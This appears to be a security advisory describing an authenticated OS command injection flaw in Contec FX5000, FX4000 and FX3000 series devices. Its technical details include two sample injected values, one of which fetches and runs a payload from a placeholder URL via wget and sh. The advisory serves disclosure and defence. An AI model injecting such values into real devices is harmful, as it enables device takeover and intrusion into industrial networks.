Description

Improper neutralization of special elements used in an OS command ('OS Command Injection') issue exists in Contec FX5000 series, FX4000 series, and FX3000 series. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "8.8",
  "pubDate": "2026-09-14T07:17:17.040Z",
  "pubdate": "2026-09-14T07:17:17.040Z",
  "executiveSummary": "The Contec FX5000, FX4000, and FX3000 series are susceptible to an OS Command Injection vulnerability. This vulnerability is classified as an Improper Neutralization of Special Elements used in an OS Command (CWE-78). The flaw allows an authenticated attacker to inject and execute arbitrary operating system commands within the context of the device's administrative shell.\nSuccessful exploitation compromises the integrity, availability, and confidentiality of the affected hardware. Because the vulnerability requires an attacker to log in to the system, the primary threat vector involves authorized or compromised user accounts performing unauthorized actions. The potential impact includes full system takeover, persistence mechanisms, and unauthorized access to device configurations or network traffic. Organizations utilizing these series should prioritize access control and hardening to mitigate the risk posed by this injection flaw.",
  "technicalDetails": "The vulnerability originates from the improper sanitization of user-supplied input when processed by the system's underlying OS command interface. In the affected FX5000, FX4000, and FX3000 series devices, various administrative interfaces or system utilities fail to adequately neutralize special shell metacharacters such as semicolons, pipes, backticks, or ampersands before passing the input to a system-level process executor (e.g., system(), popen(), or equivalent wrappers).\nExploitation requires the attacker to possess valid authentication credentials to access the management interface. Once authenticated, the attacker identifies input fields or parameters that interact with backend system scripts. By injecting specially crafted command sequences into these fields, the attacker can break out of the intended application logic and append malicious shell commands. For example, if a parameter is processed as part of a shell string, an attacker might input '; reboot' or '; wget [malicious_url] -O /tmp/payload && sh /tmp/payload' to force the execution of secondary commands.\nThe process execution happens with the privileges of the service or process responsible for handling the input, which is frequently elevated to provide administrative functionality. Consequently, a successful injection grants the attacker the ability to interact with the filesystem, modify configuration files, terminate or start system processes, and establish reverse shells to facilitate remote control.\nThe attack flow follows a structured path: first, the attacker authenticates to the device; second, the attacker probes for vulnerable entry points in the web-based management interface or command-line interface; third, the attacker injects the payload containing the shell metacharacters; fourth, the system's backend interprets the untrusted string as part of a command line; and fifth, the injected payload is executed by the system shell. Because this occurs at the OS layer, the malicious command bypasses any high-level security controls implemented by the web application. Post-exploitation impact typically manifests as a complete loss of system control, potential lateral movement into the local industrial network, and the degradation of system reliability through intentional service disruption or data manipulation."
}